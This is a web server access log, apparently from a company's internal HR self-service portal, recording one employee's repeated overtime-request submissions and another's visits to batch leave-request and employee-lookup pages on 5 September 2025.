192.168.12.100 - - [05/Sep/2025:08:41:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:41:22 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:22 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:41:34 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:41:34 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:41:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:41:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.68 - - [05/Sep/2025:08:41:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:41:43 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.68 - - [05/Sep/2025:08:41:43 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:41:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:41:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:41:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:41:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:41:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:41:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:42:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:42:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:42:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:42:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 532
192.168.12.100 - - [05/Sep/2025:08:42:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 532 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:42:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:42:18 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:42:18 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:42:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:42:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31094670524474 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31094670524474 HTTP/1.1" 200 8988
192.168.12.100 - - [05/Sep/2025:08:42:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:42:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29
192.168.11.68 - - [05/Sep/2025:08:42:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31094670524474 HTTP/1.1" 200 27500
